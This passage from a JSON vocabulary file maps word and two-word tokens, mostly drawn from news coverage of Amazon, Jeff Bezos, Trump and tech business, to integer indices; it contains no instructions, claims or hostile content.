mnuchkin": 52017, "analyzing amazon": 52018, "providing list": 52019, "summer rohit": 52020, "policy trump": 52021, "inappropriate kudlow": 52022, "tailspins": 52023, "instructed easley": 52024, "putin brand": 52025, "force engagement": 52026, "best photos": 52027, "erin vanderhoof": 52028, "acquire national": 52029, "ad air": 52030, "divulged": 52031, "house bureau": 52032, "sebold professor": 52033, "capital market": 52034, "blue color": 52035, "395 shares": 52036, "reported silicon": 52037, "nasdaq googl": 52038, "veteran donors": 52039, "lizard": 52040, "read vampire": 52041, "years bezos": 52042, "sent 080": 52043, "alan arkin": 52044, "sales jumped": 52045, "currently democrats": 52046, "air rights": 52047, "developing lady": 52048, "exclusive oval": 52049, "conference michelle": 52050, "passive": 52051, "celebrates years": 52052, "driving certain": 52053, "expected headline": 52054, "broader level": 52055, "netflixs jessica": 52056, "device cortana": 52057, "tobacco": 52058, "key travel": 52059, "levels": 52060, "centric approach": 52061, "sent 730": 52062, "beatriz car": 52063, "things set": 52064, "unprecedented": 52065, "space companies": 52066, "primarily long": 52067, "tones meant": 52068, "purposes trump": 52069, "nationally acclaimed": 52070, "emerged yesterday": 52071, "reasonable person": 52072, "constantinides": 52073, "insane trailer": 52074, "utm_content counter": 52075, "jeans": 52076, "newsroom cnn": 52077, "income level": 52078, "sconfirmed cristina": 52079, "message impeach": 52080, "critics questioned": 52081, "partners instead": 52082, "analysts figure": 52083, "finance scholarships": 52084, "auditor accountant": 52085, "billion billion": 52086, "knobbe martens": 52087, "growth new": 52088, "tight race": 52089, "coined new": 52090, "comfortable": 52091, "unfairly taking": 52092, "subsidised parcel": 52093, "crumble trump": 52094, "level believe": 52095, "joined rt": 52096, "dream data": 52097, "bork": 52098, "questions personally": 52099, "whitman": 52100, "packaged medications": 52101, "nancy pelositakes": 52102, "spying activities": 52103, "ook": 52104, "year ___": 52105, "taken greater": 52106, "odds": 52107, "head shoulders": 52108, "verge twitter": 52109, "potter fan": 52110, "tcehy messaging": 52111, "establish continue": 52112, "parents cover": 52113, "price negotiated": 52114, "responsibilities seriously": 52115, "allegedly assumed": 52116, "getting involved": 52117, "boaz": 52118, "nose ring": 52119, "rate hike": 52120, "number meant": 52121, "dept tried": 52122, "campbell soup": 52123, "bezos narrator": 52124, "exactly mcdowell": 52125, "company grapples": 52126, "drilling sites": 52127, "hear michael": 52128, "nearly dollar": 52129, "month series": 52130, "risks roiling": 52131, "soon reveal": 52132, "want payout": 52133, "run 2018": 52134, "party brush": 52135, "loyalty marketing": 52136, "director ljh": 52137, "general store": 52138, "enforcement framework": 52139, "ap long": 52140, "nyse gw": 52141, "dollar corporate": 52142, "imageserve 917134c164ee4890b8cdc865b3484943": 52143, "shed light": 52144, "ninth best": 52145, "business line": 52146, "sourceap": 52147, "platform escalates": 52148, "devices operate": 52149, "past google": 52150, "2018 winter": 52151, "hardly contain": 52152, "naughtiness": 52153, "expiring": 52154, "accumulated deficit": 52155, "obama justice": 52156, "awful": 52157, "complete control": 52158, "consensus": 52159, "magazine dealings": 52160, "amazon essentially": 52161, "home cost": 52162, "bedroom apartments": 52163, "rising tariffs": 52164, "pay hike": 52165, "380": 52166, "governmental entities": 52167, "lives upside": 52168, "uprising": 52169, "company total": 52170, "currently exploits": 52171, "tariffs business": 52172, "just investigated": 52173, "authoritarian left": 52174, "told stephanopoulos": 52175, "crowd overreacts": 52176, "page ads": 52177, "congress encouraging": 52178, "employs 630": 52179, "development deals": 52180, "bing liu": 52181, "thorn": 52182, "phrase counterfeit": 52183, "alphabet umbrella": 52184, "crash say": 52185, "stand": 52186, "ny comex": 52187, "22m": 52188, "reuters suspends": 52189, "stuff shortly": 52190, "sleeve": 52191, "giant isn": 52192, "office furniture": 52193, "biography wrote": 52194, "longtime chief": 52195, "networks expensive": 52196, "network saying": 52197, "hopping": 52198, "families making": 52199, "credited": 52200, "ruralistas": 52201, "trump alleged": 52202, "facility needs": 52203, "second partial": 52204, "really studied": 52205, "company reports": 52206, "turn deep": 52207, "cancel planned": 52208, "boulder colo": 52209, "superfoods": 52210, "unsafe rail": 52211, "away postal": 52212, "endcorporatewelfare mapoli": 52213, "deeply impacting": 52214, "rights ignoring": 52215, "reread": 52216, "allow heirs": 52217, "orcl accusing": 52218, "estate leadership": 52219, "blatantly": 52220, "kennedy raging": 52221, "company offices": 52222, "required environmental": 52223, "nyt": 52224, "margins salt": 52225, "behavioral science": 52226, "hostname": 52227, "broad campaign": 52228, "identical form": 52229, "frontier data": 52230, "writes anjani": 52231, "reportedly met": 52232, "eyeballs": 52233, "open critic": 52234, "lucca president": 52235, "spending amazon": 52236, "cancer organization": 52237, "netted": 52238, "actually moving": 52239, "previously earmarked": 52240, "stanley amazon": 52241, "dozen chip": 52242, "circumstances ask": 52243, "won enforce": 52244, "stories surrounding": 52245, "amazon noah": 52246, "ultimately leave": 52247, "landmark agreement": 52248, "wing versus": 52249, "ives gbh": 52250, "trying tougher": 52251, "measure ocasio": 52252, "sure individual": 52253, "perfectly cited": 52254, "bxp": 52255, "gain new": 52256, "biggest event": 52257, "china agreed": 52258, "bezos white": 52259, "energy secretary": 52260, "city johnson": 52261, "jinping hits": 52262, "desert island": 52263, "breastfeeding cbs": 52264, "marketplace doj": 52265, "alert test": 52266, "struggles amazon": 52267, "practical makes": 52268, "adweek": 52269, "markles": 52270, "deny doing": 52271, "conservative majority": 52272, "east room": 52273, "declares national": 52274, "original listings": 52275, "empire saying": 52276, "news owned": 52277, "alice guan": 52278, "translation": 52279, "hey": 52280, "opposite directions": 52281, "bloombergquint": 52282, "american consumers": 52283, "technology notechforice": 52284, "dano": 52285, "bloomingdales zappos": 52286, "imports promising": 52287, "accounts": 52288, "xxxtentacion": 52289, "crony capitalists": 52290, "biotechnologies geekwire": 52291, "proudly say": 52292, "day walmart": 52293, "supermodel": 52294, "tabloid parent": 52295, "heineken pulls": 52296, "queens borough": 52297, "state employing": 52298, "european parliament": 52299, "level hardware": 52300, "responded senator": 52301, "began accepting": 52302, "donnell yes": 52303, "mascot": 52304, "wba rite": 52305, "opec countries": 52306, "niet meer": 52307, "pay price": 52308, "post hopefully": 52309, "hills west": 52310, "media npr": 52311, "sold wunderman": 52312, "prose world": 52313, "bias racism": 52314, "big low": 52315, "kovach wait": 52316, "field trump": 52317, "sexually harassing": 52318, "ellerth": 52319, "instructive": 52320, "morels": 52321, "sharp cuts": 52322, "retail crisis": 52323, "far woo": 52324, "roses": 52325, "br": 52326, "truce tensions": 52327, "2018 raking": 52328, "bezos calling": 52329, "reports reveal": 52330, "wirecard executives": 52331, "street 2018": 52332, "scandalous affair": 52333, "just having": 52334, "inmate death": 52335, "tabloid practice": 52336, "shear": 52337, "social": 52338, "comedian jimmy": 52339, "642": 52340, "news organisations": 52341, "told dailymail": 52342, "actually feeling": 52343, "stunning visual": 52344, "positive sentiment": 52345, "suppressing": 52346, "build major": 52347, "creators jeff": 52348, "japanese american": 52349, "based oftentimes": 52350, "hands hiring": 52351, "kernen nightly": 52352, "sanchez operated": 52353, "2019 ccn": 52354, "catastrophic outcomes": 52355, "time sears": 52356, "editorial operations": 52357, "villain": 52358, "saudi grass": 52359, "sanctions 1540500741": 52360, "functions": 52361, "sparked giant": 52362, "rhinoceros contains": 52363, "remaining publishers": 52364, "veterans day": 52365, "new dsps": 52366, "barron sears": 52367, "initiated bearish": 52368, "ecommerce platforms": 52369, "dumpster": 52370, "climate action": 52371, "following backlash": 52372, "freight trucking": 52373, "day version": 52374, "john trumpshocking": 52375, "routley": 52376, "goog rec": 52377, "record fine": 52378, "beat amazon": 52379, "hyped second": 52380, "involving trump": 52381, "2019 president": 52382, "2021 right": 52383, "noise": 52384, "taiwan": 52385, "seller base": 52386, "videos election": 52387, "boost": 52388, "federal mandatory": 52389, "market overview": 52390, "raise numbers": 52391, "robocall blocking": 52392, "large presences": 52393, "publicly releasing": 52394, "week walmart": 52395, "webster": 52396, "item engulfed": 52397, "growth advertising": 52398, "booster seat": 52399, "investors moser": 52400, "rules finds": 52401, "resented": 52402, "deliver oddest": 52403, "1940": 52404, "considerable hit": 52405, "yr attempting": 52406, "nantz president": 52407, "obtain reviews": 52408, "blogger pretzel": 52409, "roe": 52410, "secrecy": 52411, "legitimate questions": 52412, "amazon forecast": 52413, "dollar fine": 52414, "gossip sheet": 52415, "seeing revenue": 52416, "trends 2018": 52417, "closet goldman": 52418, "ban huawei": 52419, "schwartz clarified": 52420, "romancing": 52421, "inc_custom_teaser null": 52422, "rich owners": 52423, "buseyisms": 52424, "american centric": 52425, "morning sessions": 52426, "alleged mistreatment": 52427, "year sought": 52428, "relives": 52429, "act aimed": 52430, "weighed data": 52431, "fairly unequal": 52432, "exclusive services": 52433, "arrangement fully": 52434, "real national": 52435, "pr amazon": 52436, "active litigation": 52437, "wayfair south": 52438, "castro vice": 52439, "seat hot": 52440, "vice news": 52441, "2016 tax": 52442, "hostilities escalate": 52443, "order private": 52444, "direct antitrust": 52445, "fleeced": 52446, "internet interconnection": 52447, "deductions amazon": 52448, "trump discontinued": 52449, "seemingly hit": 52450, "members questioning": 52451, "love shopping": 52452, "certainly face": 52453, "reality kaitlan": 52454, "reinsurance obamacare": 52455, "kangaroo": 52456, "naval war": 52457, "granted patents": 52458, "lsu fraternity": 52459, "strange burrito": 52460, "charitable bezos": 52461, "james lim": 52462, "mentioning trump": 52463, "century watch": 52464, "offering overlapping": 52465, "decker planes": 52466, "bothers warren": 52467, "tensions fears": 52468, "facebook instagram": 52469, "moves vietnam": 52470, "nes": 52471, "creative competitive": 52472, "emanuel": 52473, "noam chomsky": 52474, "help local": 52475, "plans billion": 52476, "york review": 52477, "publication axios": 52478, "headquarters location": 52479, "space sounds": 52480, "conservative network": 52481, "203 000": 52482, "meltdown florida": 52483, "infrastructure": 52484, "photos updating": 52485, "prosecutors chose": 52486, "individuals alleging": 52487, "site andrew": 52488, "really help": 52489, "speech fb": 52490, "facebook coo": 52491, "alleged bribery": 52492, "time period": 52493, "mcmaster campus": 52494, "bonus trump": 52495, "presidentwas acting": 52496, "brian kilmeade": 52497, "fish scraps": 52498, "parking meter": 52499, "contractually trump": 52500, "deadline saudi": 52501, "failing workers": 52502, "business wing": 52503, "enquirer bezos": 52504, "queryselectorall a4ee": 52505, "post claims": 52506, "times ice": 52507, "finalizes plans": 52508, "article cited": 52509, "nextshark criticised": 52510, "violating tax": 52511, "house changing": 52512, "president follow": 52513, "economics abercrombie": 52514, "agribusiness friendly": 52515, "apple bull": 52516, "horrified": 52517, "look silly": 52518, "utah biden": 52519, "betraying": 52520, "lookback feature": 52521, "reaching settlement": 52522, "exec jennifer": 52523, "parscale responded": 52524, "depaolo": 52525, "narrated": 52526, "ucf": 52527, "final seed": 52528, "add_commas goal": 52529, "solo special": 52530, "renewables": 52531, "happy thanksgiving": 52532, "services offered": 52533, "recommends shareholders": 52534, "communication etf": 52535, "347": 52536, "mcdlf": 52537, "attacking favor": 52538, "press aug": 52539, "tropical storm": 52540, "college green": 52541, "making positive": 52542, "bureaucracy smalls": 52543, "sinclair conservative": 52544, "league politics": 52545, "blindsided": 52546, "bi partisan": 52547, "hemker gale": 52548, "oppose amazon": 52549, "detects": 52550, "pillow": 52551, "1974 relied": 52552, "traditional home": 52553, "housing problems": 52554, "people resent": 52555, "amusement park": 52556, "reduce costs": 52557, "paulo state": 52558, "astoria east": 52559, "store amazon": 52560, "breeze took": 52561, "replacement descriptionplaintext": 52562, "bezos photographed": 52563, "alabama jeff": 52564, "attacks combined": 52565, "story antitrust": 52566, "school subreddit": 52567, "enemy": 52568, "industry outreach": 52569, "montana faith": 52570, "20180808": 52571, "disquieting": 52572, "risk democratic": 52573, "actually turning": 52574, "rallying point": 52575, "washington including": 52576, "members buzz60": 52577, "preceding films": 52578, "hase": 52579, "paced": 52580, "beans rot": 52581, "saps": 52582, "speaking truth": 52583, "facebook ownership": 52584, "victor reklaitis": 52585, "visceral seeing": 52586, "low 272": 52587, "guida": 52588, "centenary": 52589, "week major": 52590, "disney buddies": 52591, "amerika": 52592, "comrades": 52593, "investigations ryan": 52594, "cheap bartiromo": 52595, "maria tweeting": 52596, "bromance": 52597, "privacy controversies": 52598, "entitled united": 52599, "cnn filed": 52600, "smoothies drinks": 52601, "company canopy": 52602, "refused neal": 52603, "onsies featuring": 52604, "including opioids": 52605, "class people": 52606, "bags sold": 52607, "rep gerry": 52608, "mild concern": 52609, "motivations abramowitz": 52610, "trump published": 52611, "ebola": 52612, "hit postcode": 52613, "beguiled photo": 52614, "usually arrive": 52615, "garnered national": 52616, "grace meng": 52617, "idea says": 52618, "ageism gop": 52619, "ceo travels": 52620, "investigation ami": 52621, "politics professor": 52622, "defeated head": 52623, "friendly innovative": 52624, "capwealth limited": 52625, "royal train": 52626, "blake wilson": 52627, "existing contracts": 52628, "manafort": 52629, "oembed frame": 52630, "long speech": 52631, "h0 i9": 52632, "extraordinary movement": 52633, "aside million": 52634, "2000": 52635, "base period": 52636, "equivalency": 52637, "700 amazon": 52638, "speak publicly": 52639, "remarks questions": 52640, "trump clothes": 52641, "contract shortage": 52642, "lev harir": 52643, "jon": 52644, "mair decision": 52645, "games mario": 52646, "situation room": 52647, "postal regulatory": 52648, "merging fictional": 52649, "crusade david": 52650, "says word": 52651, "volleys lobbed": 52652, "ceo beer": 52653, "bezos n\u00e9e": 52654, "world young": 52655, "post office": 52656, "hid information": 52657, "initially know": 52658, "standing desk": 52659, "exactly": 52660, "coratti": 52661, "thatbefore right": 52662, "challenging levels": 52663, "routinely rely": 52664, "emergency mueller": 52665, "gallerytitle head": 52666, "hasn sued": 52667, "wnyc governor": 52668, "flamethrower cum": 52669, "weekend revealed": 52670, "land adjacent": 52671, "workplace grievances": 52672, "nests according": 52673, "markets lower": 52674, "senator attack": 52675, "competitive domestic": 52676, "shouts amazon": 52677, "vaccine varicella": 52678, "mps 2019": 52679, "worldwide revenues": 52680, "fake navarro": 52681, "hateful racist": 52682, "ago man": 52683, "shares fall": 52684, "icann meeting": 52685, "risked antitrust": 52686, "postal discounts": 52687, "normal people": 52688, "middlemen": 52689, "run congress": 52690, "damn minds": 52691, "facebook suddenly": 52692, "pennsylvania iran": 52693, "intermediate elections": 52694, "sliming trump": 52695, "paper blunts": 52696, "blistering new": 52697, "horrible corporate": 52698, "photographer cnn": 52699, "walker rhetorically": 52700, "manufacturing output": 52701, "freightwaves": 52702, "ami rationale": 52703, "press released": 52704, "sector particularly": 52705, "8df1y5uwxr jonathan": 52706, "tm launched": 52707, "plan means": 52708, "300 fine": 52709, "trade argues": 52710, "bashed": 52711, "years immigration": 52712, "conditions circumstance": 52713, "particularly surprising": 52714, "delivery infrastructure": 52715, "success": 52716, "old native": 52717, "tired pathetic": 52718, "summit did": 52719, "china shop": 52720, "discussion draft": 52721, "politics associating": 52722, "fb privacy": 52723, "jackson black": 52724, "ulee": 52725, "field day": 52726, "hsbc hldg": 52727, "successful extortion": 52728, "apparent affair": 52729, "net a4ee": 52730, "electrical goods": 52731, "loadedfully false": 52732, "trump response": 52733, "summer looking": 52734, "california attorney": 52735, "frank diary": 52736, "speakerryan": 52737, "exciting retail": 52738, "environmental leader": 52739, "shopping having": 52740, "scrutiny instead": 52741, "grins": 52742, "sweeps": 52743, "barius": 52744, "start tech": 52745, "2018 everybody": 52746, "elaine wynn": 52747, "occasion taking": 52748, "groups sued": 52749, "175 shares": 52750, "matter having": 52751, "amazon look": 52752, "chances trump": 52753, "country manager": 52754, "caller news": 52755, "years later": 52756, "scientific planning": 52757, "emailed": 52758, "accurate white": 52759, "homewood samhomewood": 52760, "energy independence": 52761, "50million private": 52762, "joe kernen": 52763, "plan hasn": 52764, "kernel virtual": 52765, "simon schuster": 52766, "northfield bank": 52767, "attract higher": 52768, "software republican": 52769, "dr abdul": 52770, "cadets reader": 52771, "malinowski discusses": 52772, "x5 phone": 52773, "2018 swiss": 52774, "safely": 52775, "reputation elected": 52776, "preferred locations": 52777, "cop netflix": 52778, "investigator working": 52779, "formatted_text jeff": 52780, "manufacturing midas": 52781, "isn pardoned": 52782, "approved new": 52783, "enquirer began": 52784, "autostartvideo": 52785, "legal establishment": 52786, "brand image": 52787, "unpaid": 52788, "customers revenue": 52789, "just threaten": 52790, "sherm": 52791, "bipartisan majorities": 52792, "mythical breakfast": 52793, "wrap reports": 52794, "just matter": 52795, "sentenced": 52796, "125 nets": 52797, "agency new": 52798, "broad based": 52799, "mchugh confirmed": 52800, "stock advisor": 52801, "garofalo photo": 52802, "virginia redistricting": 52803, "netflix despite": 52804, "2386144": 52805, "years tumbled": 52806, "street mailboxes": 52807, "opioid prescriptions": 52808, "afghan allies": 52809, "scores hell": 52810, "company misses": 52811, "carry": 52812, "sh read": 52813, "electric dreams": 52814, "legal marijuana": 52815, "people regarded": 52816, "little light": 52817, "apparently operated": 52818, "statement granting": 52819, "google project": 52820, "balance unfortunately": 52821, "health spokeswoman": 52822, "remanded": 52823, "era abortion": 52824, "quote sad": 52825, "hunter": 52826, "google shares": 52827, "amazon requires": 52828, "assailing": 52829, "met earlier": 52830, "whittle": 52831, "trump implored": 52832, "amid peace": 52833, "labeled judicially": 52834, "expired giving": 52835, "facing dismissal": 52836, "remaining": 52837, "wants protection": 52838, "president dave": 52839, "gates buffett": 52840, "2019 clearly": 52841, "amazon wow": 52842, "roughly 450": 52843, "quietly removed": 52844, "spending disclosure": 52845, "bezos extraordinary": 52846, "university poll": 52847, "know obviously": 52848, "portal results": 52849, "highlights politically": 52850, "success preventing": 52851, "tolerance": 52852, "manage old": 52853, "tract": 52854, "marquee names": 52855, "house continue": 52856, "virginia elected": 52857, "obtained personal": 52858, "election orders": 52859, "fiery tweet": 52860, "columnist jim": 52861, "kol": 52862, "eloquently": 52863, "today arizona": 52864, "actually followed": 52865, "ideological leadership": 52866, "consideration": 52867, "wines": 52868, "disarmament talks": 52869, "ordinary mortals": 52870, "biggest piece": 52871, "amazon eventually": 52872, "michael friedenberg": 52873, "lacerda": 52874, "public opposition": 52875, "internet portal": 52876, "vehicles": 52877, "words started": 52878, "hottovy don": 52879, "inventory place": 52880, "websites digital": 52881, "regulators": 52882, "marketing experts": 52883, "slower": 52884, "called donald": 52885, "republic invest": 52886, "giant walmart": 52887, "cohen reuters": 52888, "morgan ricke": 52889, "awards winning": 52890, "democrats colluding": 52891, "activity 285": 52892, "intersect cap": 52893, "board voted": 52894, "lark ro": 52895, "consumer demand": 52896, "shame says": 52897, "power broker": 52898, "espn face": 52899, "dam assets": 52900, "harshly": 52901, "leaked content": 52902, "pullout despite": 52903, "ext small": 52904, "going smoothly": 52905, "actually shows": 52906, "borscht": 52907, "hat tip": 52908, "oars alps": 52909, "showed great": 52910, "local consumption": 52911, "northern accumulated": 52912, "carrying signs": 52913, "justice reform": 52914, "midterms reach": 52915, "darn tough": 52916, "east coast": 52917, "nra tv": 52918, "jmac8560": 52919, "newman secretly": 52920, "pleads guilty": 52921, "heard accounts": 52922, "products charge": 52923, "investors ranging": 52924, "special agents": 52925, "baby boomers": 52926, "circumstance luck": 52927, "consensys steemit": 52928, "wagging": 52929, "amazon press": 52930, "austin morgan": 52931, "amazon coms": 52932, "lionel": 52933, "cloud division": 52934, "51s2p": 52935, "enomoto did": 52936, "plants science": 52937, "posts losses": 52938, "uk world": 52939, "prices monopolists": 52940, "team privately": 52941, "fact deficient": 52942, "conventional treatment": 52943, "aa a4ee": 52944, "trump critic": 52945, "illustrate": 52946, "impact study": 52947, "foundations new": 52948, "natural way": 52949, "388 votes": 52950, "generic drugmaker": 52951, "earningsfriday": 52952, "deal fan": 52953, "recipients allen": 52954, "pedroncelli file": 52955, "lgbtq read": 52956, "buy microsoft": 52957, "president visits": 52958, "communication collaboration": 52959, "reflects growing": 52960, "muteoverlayclicked true": 52961, "numerically fewer": 52962, "klobuchar minn": 52963, "firearm blueprints": 52964, "regime": 52965, "mcconnell ky": 52966, "macy korea": 52967, "denoting": 52968, "egyptian": 52969, "provides return": 52970, "logo reflected": 52971, "enu": 52972, "published post": 52973, "gun battle": 52974, "identification time": 52975, "council repealed": 52976, "theory jumps": 52977, "guacamole clean": 52978, "perceived affronts": 52979, "biggest fish": 52980, "prototype seattle": 52981, "deyoung reporter": 52982, "deserve new": 52983, "cola": 52984, "video 2019": 52985, "weekend sales": 52986, "mirror felt": 52987, "inventions diane": 52988, "bloomberg says": 52989, "service cnn": 52990, "says reached": 52991, "york hedge": 52992, "overmediatext": 52993, "ichan": 52994, "wikileaks founder": 52995, "supposedly": 52996, "week noticed": 52997, "young professionals": 52998, "amazonians": 52999, "involves bezos": 53000, "help agencies": 53001, "potentially control": 53002, "brogrammers shows": 53003, "longest bull": 53004, "notthere": 53005, "better pic": 53006, "selling facial": 53007, "billion gain": 53008, "jarrett foto": 53009, "horror movie": 53010, "ship boxes": 53011, "rose": 53012, "trump affair": 53013, "connection bezos": 53014, "health corp": 53015, "items prices": 53016, "seriously encouraging": 53017, "surveillance efforts": 53018, "state ability": 53019, "cohn domestic": 53020, "operating rooms": 53021, "net alistair": 53022, "klion davidklion": 53023, "based technology": 53024, "98point6 assistant": 53025, "splitting": 53026, "fact facebook": 53027, "house return": 53028, "called sweetheart": 53029, "cited amazon": 53030, "vargas": 53031, "cheap stocks": 53032, "000 times": 53033, "platform shift": 53034, "party gains": 53035, "eder ben": 53036, "org fox": 53037, "ap wayne": 53038, "wildenstein paid": 53039, "commission isn": 53040, "traditional corridors": 53041, "counterfeiting huge": 53042, "karen tumulty": 53043, "ariel investments": 53044, "exhibitions": 53045, "2017 net": 53046, "james damore": 53047, "moving workers": 53048, "culture issues": 53049, "phoned": 53050, "group fires": 53051, "sharecast": 53052, "expansion starts": 53053, "insider spokesman": 53054, "picking screens": 53055, "imagination taking": 53056, "vinci": 53057, "trustthe people": 53058, "infringing content": 53059, "2020 big": 53060, "better understand": 53061, "safe places": 53062, "real read": 53063, "lenovo told": 53064, "ky senate": 53065, "kron": 53066, "sea holiday": 53067, "prescribes raising": 53068, "matter ramping": 53069, "arbitrary": 53070, "imdb darren": 53071, "towns prime": 53072, "app source": 53073, "vandermeer": 53074, "alleged photos": 53075, "country organizations": 53076, "animated series": 53077, "starting pre": 53078, "preorder discount": 53079, "trump questioned": 53080, "content drive": 53081, "syndicate": 53082, "years 172": 53083, "8am cbsmiami": 53084, "gmt retired": 53085, "news fnn": 53086, "man battles": 53087, "costumes british": 53088, "suitor enters": 53089, "producing comprehensive": 53090, "models great": 53091, "manipulations": 53092, "relying": 53093, "upskill": 53094, "married madison": 53095, "change morgan": 53096, "cherishes": 53097, "discussed using": 53098, "trump promising": 53099, "jackie bezos": 53100, "created memorable": 53101, "jones warns": 53102, "deforestation efforts": 53103, "asked peter": 53104, "cash data": 53105, "organic essential": 53106, "montessori based": 53107, "suffering billion": 53108, "new updates": 53109, "guide michael": 53110, "counterfeits plague": 53111, "matter louis": 53112, "services ceo": 53113, "post mother": 53114, "entrepreneur peter": 53115, "press rep": 53116, "howard ami": 53117, "kill karen": 53118, "awful anti": 53119, "treat workers": 53120, "business orig": 53121, "disappointment": 53122, "squicky": 53123, "mining chip": 53124, "loan modification": 53125, "fatal interaction": 53126, "ecg": 53127, "title party": 53128, "importantly republican": 53129, "controlled congress": 53130, "currently helps": 53131, "trump warren": 53132, "harrowing pulled": 53133, "losses poll": 53134, "runs competitive": 53135, "reinstate": 53136, "company user": 53137, "largest hedge": 53138, "reunification pose": 53139, "located amazon": 53140, "critical editorials": 53141, "adeft": 53142, "legitimately traded": 53143, "waste stream": 53144, "frequent aim": 53145, "interconnection": 53146, "america 45th": 53147, "market including": 53148, "overthrow": 53149, "americans including": 53150, "forest service": 53151, "net income": 53152, "don feel": 53153, "championship champion": 53154, "bartiromo company": 53155, "driven volatility": 53156, "china version": 53157, "china rural": 53158, "raising payouts": 53159, "controversial measure": 53160, "things work": 53161, "hit piece": 53162, "davis set": 53163, "tillerson": 53164, "potentially losing": 53165, "alaniz maintained": 53166, "subset": 53167, "stanley added": 53168, "manhattan": 53169, "steve koenig": 53170, "investigation calling": 53171, "ashoka mody": 53172, "2013 does": 53173, "cabaniss": 53174, "centuple": 53175, "tmus": 53176, "pronouncement elizabeth": 53177, "laws jim": 53178, "capital infusion": 53179, "contractual relationship": 53180, "canada walmart": 53181, "ellison weighing": 53182, "licensed": 53183, "temporary residence": 53184, "morici 415": 53185, "nyc hq": 53186, "muteplayerenabled": 53187, "disgusted": 53188, "held qualified": 53189, "crowded democratic": 53190, "kosovar victims": 53191, "men used": 53192, "core principles": 53193, "indestructible": 53194, "soothing embedded": 53195, "american president": 53196, "plant gou": 53197, "contf contfnew": 53198, "lifetime relied": 53199, "stopped short": 53200, "watershed moment": 53201, "refunds sending": 53202, "sites dozens": 53203, "technology entrepreneur": 53204, "political director": 53205, "perfecting": 53206, "rt 385x240": 53207, "individual shipments": 53208, "eurozone economy": 53209, "665 words": 53210, "capital formation": 53211, "freed states": 53212, "americans fell": 53213, "narratives trump": 53214, "exclusive monopoly": 53215, "regularly threatens": 53216, "tennessee laura": 53217, "sends health": 53218, "pork rinds": 53219, "rival lyft": 53220, "commotion investors": 53221, "premature": 53222, "week senator": 53223, "allbright": 53224, "alice story": 53225, "months": 53226, "aide tried": 53227, "dominant positions": 53228, "testing new": 53229, "product cardigan": 53230, "gene lyons": 53231, "house administration": 53232, "mosqueda": 53233, "ge general": 53234, "fabled hq2": 53235, "tax think": 53236, "dominant platform": 53237, "plus custody": 53238, "onthe southern": 53239, "mining executives": 53240, "important truth": 53241, "meaning investors": 53242, "komonews pic": 53243, "bale kevin": 53244, "filling cemeteries": 53245, "owns separately": 53246, "mid 2016": 53247, "mirrors 2016": 53248, "range target": 53249, "entry morgan": 53250, "lind": 53251, "green dream": 53252, "wrench": 53253, "namesake": 53254, "set magic": 53255, "industry news": 53256, "washington ap": 53257, "commissions": 53258, "challenged rival": 53259, "announced proposed": 53260, "substantially expanding": 53261, "boar": 53262, "owns cnbc": 53263, "channel fraud": 53264, "polly text": 53265, "measure gm": 53266, "service ability": 53267, "search histories": 53268, "ebt": 53269, "triggered trump": 53270, "administration muslim": 53271, "outlined plans": 53272, "good compromise": 53273, "pose questions": 53274, "avoided engaging": 53275, "earnings outlook": 53276, "professor named": 53277, "far longer": 53278, "oejeff": 53279, "lucas mexico": 53280, "critically important": 53281, "left good": 53282, "sister hostage": 53283, "history brazil": 53284, "sun online": 53285, "americans spend": 53286, "visit convinced": 53287, "disclosures facebook": 53288, "elkan abromowitz": 53289, "health outcomes": 53290, "michigan ford": 53291, "innovation queens": 53292, "chief graziano": 53293, "gulftimes china": 53294, "corporate fight": 53295, "depth article": 53296, "episode follows": 53297, "foster wallace": 53298, "special attention": 53299, "med": 53300, "sank": 53301, "180 000": 53302, "516 class": 53303, "stop a4ee": 53304, "campaign schoolstrike4climate": 53305, "disgraceful record": 53306, "registry portal": 53307, "tex border": 53308, "white striped": 53309, "prosecuted": 53310, "people fears": 53311, "nude melania": 53312, "county board": 53313, "fund columbus": 53314, "glorified": 53315, "foreign emoluments": 53316, "school kid": 53317, "labs discussed": 53318, "responded lot": 53319, "right originally": 53320, "lodged criticisms": 53321, "approaching trillion": 53322, "velcro ties": 53323, "local smartphone": 53324, "svendsen": 53325, "miscalculation": 53326, "release soon": 53327, "persistence pays": 53328, "swoop don": 53329, "muscle": 53330, "unfair tax": 53331, "offering stocks": 53332, "profile divorces": 53333, "amendment ironically": 53334, "skinny slit": 53335, "twitter omg": 53336, "banning bump": 53337, "team view": 53338, "melania slumming": 53339, "foxconn provided": 53340, "lincoln took": 53341, "star netflix": 53342, "pursue german": 53343, "adai sai": 53344, "predictions robert": 53345, "annual earnings": 53346, "roads railways": 53347, "showurl shows": 53348, "currency fluctuations": 53349, "forecasts shares": 53350, "data possibly": 53351, "asylum policies": 53352, "site selection": 53353, "polemic": 53354, "customers investors": 53355, "camping": 53356, "creative innovators": 53357, "kalanick led": 53358, "hebrew surveys": 53359, "database mongodb": 53360, "kidman badassery": 53361, "fresh readings": 53362, "registeredin false": 53363, "partners confirmed": 53364, "rubbish amazon": 53365, "190 basis": 53366, "neutralize": 53367, "contract agreement": 53368, "offensive mccain": 53369, "sales calls": 53370, "artificiality": 53371, "recent takeover": 53372, "purpose think": 53373, "photos washington": 53374, "advisory lc": 53375, "months debating": 53376, "strong separately": 53377, "big difference": 53378, "queens killed": 53379, "thu pham": 53380, "despicable act": 53381, "ted": 53382, "ipo shares": 53383, "2019 alexander": 53384, "manufacturing index": 53385, "amzn announced": 53386, "public financing": 53387, "fundraising month": 53388, "constant churn": 53389, "griffeth dunkin": 53390, "magnate john": 53391, "ironic sympathize": 53392, "shanker sees": 53393, "prosecutors donald": 53394, "politically diverse": 53395, "growing recognition": 53396, "critical need": 53397, "almonds anchovies": 53398, "locomotive": 53399, "iowa fast": 53400, "party austerity": 53401, "way don": 53402, "capitalist advises": 53403, "identify fraudulent": 53404, "abroad leader": 53405, "area needed": 53406, "arts center": 53407, "notes amazon": 53408, "regulators started": 53409, "nancy": 53410, "googl": 53411, "scholars progressive": 53412, "web portal": 53413, "accompany": 53414, "giving substance": 53415, "privacy watchdog": 53416, "post concludes": 53417, "unknown origin": 53418, "nasty dispute": 53419, "trump adam": 53420, "notoriety primarily": 53421, "retailer wiped": 53422, "players meaning": 53423, "167 condemned": 53424, "fro": 53425, "olick takes": 53426, "sold small": 53427, "gargantuan gains": 53428, "fargo meltdown": 53429, "reported loss": 53430, "cd addclass": 53431, "07810": 53432, "centred": 53433, "prime office": 53434, "thissituation": 53435, "enquirer release": 53436, "amazon wapo": 53437, "jedi raises": 53438, "dailyshot": 53439, "alexa existing": 53440, "quote fear": 53441, "fleeing violence": 53442, "mass ratcheted": 53443, "hating": 53444, "austin community": 53445, "trump gesture": 